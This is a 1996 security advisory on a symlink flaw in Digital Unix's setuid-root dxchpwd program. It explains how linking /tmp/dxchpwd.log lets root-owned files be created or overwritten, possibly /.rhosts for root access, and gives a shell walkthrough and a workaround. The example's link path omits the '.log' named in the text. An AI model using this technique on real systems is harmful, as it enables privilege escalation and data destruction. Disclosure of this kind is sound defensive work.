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- BoS: Digital Unix v3.x (v4.x?) security vulnerability
-
- Eric Augustus (augustus@mail.stic.net)
- Sun, 17 Nov 1996 00:09:38 +0000
-
- In Digital Unix (OSF/1) v3.x, there is a security vulnerability in the
- /usr/tcb/bin/dxchpwd program. The dxchpwd is installed as part of the
- C2 security package. The dxchpwd can be used to overwrite any file, or
- create a file anywhere on the system causing a possible denial of
- service and possibly lead to root access.
-
- Background: dxchpwd is part of the C2 security package and is setuid
- root. It's a GUI interface for a users to change their passwds. As far
- as I know, all Digital Unix v3.x versions are vulnerable, and possibly
- 4.x.
-
- Details: When dxchpwd is run, it creates a log file /tmp/dxchpwd.log
- which is root owned and mode 600. If the log file doesn't exist, it
- can be symlinked to any existing file, or new file on the system. New
- files are created root owned, mode 600. Existing files retain their
- permissions and ownership, but their contents are overwritten. If a
- user then attempts to change a passwd, a message similar to the
- following is written to the log file:
-
- Unknown SIA Prompt: (* Permission denied.
- *) rendition 6
-
- In this case, if /.rhosts were symlinked to /tmp/dxchpwd.log, then a
- host known as Unknown could possibly gain root access.
-
- Example:
- $ ls -l /usr/tcb/bin/dxchpwd
- -rwsr-xr-x 1 root bin 49152 Jul 25 1995 /usr/tcb/bin/dxchpwd
- $ ls -l /tmp/dxchpwd.log
- /tmp/dxchpwd.log not found
- $ export DISPLAY=:0 (or a remotehost)
- $ ln -s /hackfile /tmp/dxchpwd
- $ ls -l /hackfile
- /hackfile not found
- $ /usr/tcb/bin/dxchpwd
- (The dxchpwd window will appear. Just enter root for username
- and anything for the passwd. You'll get a permission denied
- message and the window will close.)
- $ ls -l /hackfile
- -rw------- 1 root system 0 Nov 16 22:44 /hackfile
-
- Fix: Make sure /tmp/dxchpwd.log exists, which is root owned and at
- least mode 600 until a patch is available. Of course, the setuid bit
- could be removed, but then users couldn't use it to change their
- passwds.
-
- Gus
-